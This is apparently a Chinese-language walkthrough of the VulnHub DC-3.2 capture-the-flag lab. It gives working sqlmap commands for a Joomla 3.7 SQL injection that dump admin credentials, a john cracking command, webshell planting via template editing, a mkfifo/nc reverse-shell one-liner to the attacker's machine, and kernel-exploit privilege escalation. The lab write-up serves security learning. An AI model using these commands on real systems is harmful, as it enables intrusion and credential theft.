vulnhub-DC:3.2渗透笔记
信息搜集
IP探测
端口探测
发现只有80端口开启,那就直接看看web服务
网页信息搜集
这里最重要的信息就是这个cms模板是joomla
扫一下目录:
可以发现/administrator/是后台:
在README.txt中记录了版本号为3.7
查一下有没有漏洞:
ok存在sql注入,准备利用
漏洞利用
SQL注入
方法一:sqlmap
看看漏洞细节描述:
还是个CVE,这里连sqlmap的命令都给出来了,直接跑一手sqlmap
跑出来5个数据库,再按常规流程梭一下:
-
爆当前库名:
sqlmap -u "http://192.168.40.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db
库名为joomladb
-
爆表名:
sqlmap -u "http://192.168.111.191/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables
一共76张表,#__users 这个表一看就很有用,看看
-
爆列名:
sqlmap -u "http://192.168.111.191/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
-
接下来爆username和password字段:
sqlmap -u "http://192.168.111.191/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump
拿到了admin的密码哈希
方法二:漏洞库脚本
当然,我们在搜索漏洞的时候看见还有个php脚本,试试能不能梭哈:
把这个php文件cp到web目录然后解析:
访问网页,填好目标url即可一把梭:
密码哈希破解
用john来破解一手,把哈希写进adminpass然后用rockyou字典爆破:
john adminpass --wordlist=/usr/share/wordlists/rockyou.txt
得到明文密码snoopy,可以进入后台看看了
后台getshell
在后台肯定是找能够编辑php文件的地方了,而这里的模板里可以新建php文件:
我们写一个webshell代码进去,这里我在beez3里面试了很久,新建文件和写入现有文件没有连上,最后将webshell写在protostar的index.php里连上了:
蚁剑连接:
接下来反弹shell:
由于这里nc没有e选项,所以我换了个命令:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.111.132 4444 >/tmp/f
成功上线kali,接下来进入提权阶段
权限提升
看看系统内核:
uname -a
查看Ubantu发行版本
lsb_release -a
可知系统是ubuntu 16.04
搜一下看看有没有洞:
ok有权限提升,看看描述:
这里给出了利用脚本的下载地址(proof of concept)
在靶机上下载:
接下来解压并进入该目录:
解压exp并进入目录:
接下来按照漏洞描述文本中给出的命令进行执行,描述如下:
直接照着打一遍:
成功提权到root,太丑了拿个pty先:
接下来在/root中拿flag:
总结
这次渗透过程,有如下漏洞或利用:
- 该joomla版本存在sql注入历史漏洞
- 获得admin的密码哈希后,使用john进行爆破获取了明文密码
- joomla后台存在模板编辑,可以在模板文件中写入webshell上线
- 该主机得操作系统ubuntu 16.04存在内核漏洞,导致权限提升